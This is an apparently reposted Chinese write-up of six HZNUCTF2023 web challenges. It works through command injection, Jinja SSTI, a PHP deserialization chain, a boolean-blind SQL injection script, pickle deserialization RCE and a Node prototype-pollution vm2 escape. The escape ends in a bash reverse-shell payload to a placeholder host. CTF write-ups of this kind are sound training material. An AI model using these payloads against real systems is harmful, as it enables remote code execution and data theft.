目录 guessguessguess ezflask(无过滤ssti) ppppop(cookie泄露+反序列化) ezlogin(bool盲注) ezpickle(pickle反序列化) eznode(原型链污染) g
目录
尝试是否存在sql注入,发现他会对内容进行倒叙 框里有一个hint 我们试着 传入 tnih 看看有什么
金 "命令执行" 同时参数名为 cmd 应该是命令执行
ls /看一下,没找到flag
最后执行 env flag在环境变量里
PHP$userArr = array("username: admin
passWord: admin","username: Docker
password: docker", "username: mxx307
password: mxxxxxxx3333000777", "username: FLAG_IN_HERE
password: 不给你看");$cmd = strrev($_POST['cmd']);if($cmd != 'hint' && $cmd != 'phpinfo'){ echo "your SQL: SELECT * FROM users WHERE id=$cmd"; echo "
";}if($cmd == "phpinfo") { eval('phpinfo();');} else if(preg_match('/127.0.0.1/',$cmd) && !preg_match('/;|&/',$cmd )) { system('ping '.$cmd);} else if($cmd == "hint") { echo '可爱的CTFer哟,你掉的是这个金"命令执行",还是这个银"XSS"还是这个普通的"SQL注入"呢?';}else if(preg_match('/^\d$/',$cmd, $matches)) { if($matches[0] <= 4 && $matches[0] >= 1){ echo $userArr[$matches[0] - 1]; } else { echo "no user"; }}else { echo "猜猜猜";}
结合名称 + 提示 /?name= 应该是考察SSTI
传入?name=123 看看
和guess差不多,依然是倒序 传入 }}7*7{{ 得到回显是49
在线文本反转_字符串反转_实时逆序字符串文本_汇享在线工具箱
找基类 下面的记得反转
{{"".__class__}} 得到空字符串类
{{"".__class__.__mro__}} 得到:
{{"".__class__.__mro__[-1]}} 得到
得到基类之后,找到这个基类的子类集合
{{"".__class__.__mro__[-1].__subclasses__()}}
这里使用其第133个类([0]是第一个类 因此第133个是[132] )
实例化我们找到的类对象
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}
找到这个实例化对象的所有方法
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
调用popen方法,进行rce 在环境变量里得到flag
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}
进去一片空白,在cookie中发现了一串base64编码
Cookie:user=Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4io2I6MDt9
解码后得到一串序列化格式的字符串:O:4:"User":1:{s:7:"isAdmin";b:0;}
应该是判断是否Admin 这里bool值为0 所以空白 改为1 base64加密后放到cookie里访问试试
Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MTt9
得到源码:
className; $funcName = $this->funcName; $class->$funcName($this->args); }}class B { public function __call($func, $arg) { $func($arg[0]); }}if(checkUser()) { highlight_file(__FILE__); $payload = strrev(base64_decode($_POST['payload'])); unserialize($payload);}
就一个节点,很短的链子:A::__destruct() => B::__call()
利用点在于 触发 __call()
__call() 在一个对象的上下文中,如果调用的方法不存在的时候,它将被触发
poc如下:
className = $b;$a->funcName = "system";$a->args = "env";echo base64_encode(strrev(serialize($a)));?>
注:记得带着构造好的cookie
题目进去之后 是一个登录框 源码里给出了一部分过滤的关键词
同时,可以知道传入的username参数 是经过base64解码翻转才得到的
$username = strrev(base64_decode($_POST['username']));$username = preg_replace('/select|uNIOn|and|database/', "hznuctf2023", $username);
这样的话,写脚本就麻烦一些了 我们先fuzz一下看看还有没有过滤其他的关键词
like or # ord if left right || ^ > < 等都没被过滤
1'or1like1#
为真的话 就回显:success!! you are the best WEB手
假: username or password is invalid
可以以此盲注
preg_replace可以大写绕过,SELECT DATABASE
poc脚本如下:
import base64import requestsimport times = requests.session()url = "Http://node2.anna.nssctf.cn:28876/"flag = ''i=0while True: i = i + 1 Max = 128 Min = 32 Mid = (Max + Min) // 2 while Min < Max: #payload = "1^(substr(database(),{},1)='{}')^1".format(i,j) #payload = "1'or(ord(substr(DATABASE(),{},1))>{})#".format(i,Mid) #payload = "1'or(ord(substr((SELECTGROUP_CONCAT(TABLE_NAME)FROMINFORMATION_SCHEMA.TABLESWHERETABLE_SCHEMAlike'users'),{},1))>{})#".format(i,Mid) #payload = "1'or(ord(substr((SELECTGROUP_CONCAT(COLUMN_NAME)FROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAMElike'user'),{},1))>{})#".format(i, Mid) payload = "1'or(ord(substr((SELECTGROUP_CONCAT(Password)FROMuser),{},1))>{})#".fORMat(i, Mid) payload = base64.b64encode(payload[::-1].encode('utf-8')).decode('utf-8') data={ 'username':payload } r = requests.post(url=url,data=data) if "success" in r.text: Min = Mid + 1 Mid = (Min + Max) // 2 else: Max = Mid Mid = (Min + Max) // 2 flag = flag + chr(Mid) if Mid == 32: break print(flag) # 速度太快显示不完全 time.sleep(0.5)
数据库为:users 表名为:user 字段得到:Host,User,Password,Select_priv,Insert_priv等等
import base64import picklefrom flask import Flask, requestapp = Flask(__name__)@app.route('/')def index(): with open('app.py', 'r') as f: return f.read()@app.route('/calc', methods=['GET'])def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!"@app.route('/readFile', methods=['GET'])def readFile(): filename = request.args.get('filename').replace("flag", "????") with open(filename, 'r') as f: return f.read()if __name__ == '__main__': app.run(host='0.0.0.0')
可以看到在 /calc路由 可以get传入payload参赛,会被 pickle.loads() 存在pickle反序列化
题目中过滤了os
,我们使用字符串拼接绕过.
题目中还有一个读文件的路由,那么我们就将我们想要得知的命令执行的结果通过tee
写到a
中,然后通过/readFile路由
读取命令执行结果
poc如下:
import pickleimport base64class A(): def __reduce__(self): return (eval,("__import__('o'+'s').system('env | tee a')",))a = A()b = pickle.dumps(a)print(base64.b64encode(b))
也可以用 exec来命令执行,import一下base64 对命令编码一下
def __reduce__(self): cmd = f'import base64; exec(base64.b64decode("{encoded_payload}"));' return exec, (cmd,)
如果靶机不出网的话还可以用os.popen
结合time.sleep
盲注(姿势太多了)
进去之后 得到提示:
POST some JSON shit to /. no source code and try to find source code
一般nodejs网站的源文件是app.js
访问 /app.js 得到源码
const express = require('express');const app = express();const { VM } = require('vm2');app.use(express.json());const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); }}const isObject = obj => obj && obj.constructor && obj.constructor === Object;const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a}const clone = (a) => { return merge({}, a);}app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code");});app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) }})app.listen(3000, function () { console.log('start listening on port 3000');});
审计一下
这里存在backdoor
方法,其中创建了一个VM环境,将shellcode
属性放在其中执行,这里存在vm沙箱逃逸 利用原型链污染 写入shellcode执行
const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); }}
再看一下,怎么执行这个backdoor() 方法 发现需要满足 copybody.shit
值为true
app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) }})
可以看到 copybody
属性执行了一次clone
,跟进clone 典型的merge
的原型链污染
const isObject = obj => obj && obj.constructor && obj.constructor === Object;const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a}const clone = (a) => { return merge({}, a);}
因此我们这里的思路就是需要传入一个json格式的shit
属性,其值为1即可,然后通过原型链污染,将shellcode
属性赋值为恶意代码,最后的payload如下
{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n res.toString.constructor(\"return this\")\n ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/vps/ip 0>&1\"').toString();"}}
注:请求头需要为Content-Type: application/json
来源地址:https://blog.csdn.net/weixin_63231007/article/details/130044576
--结束END--
本文标题: HZNUCTF2023 web
本文链接: https://lsjlt.com/news/390083.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0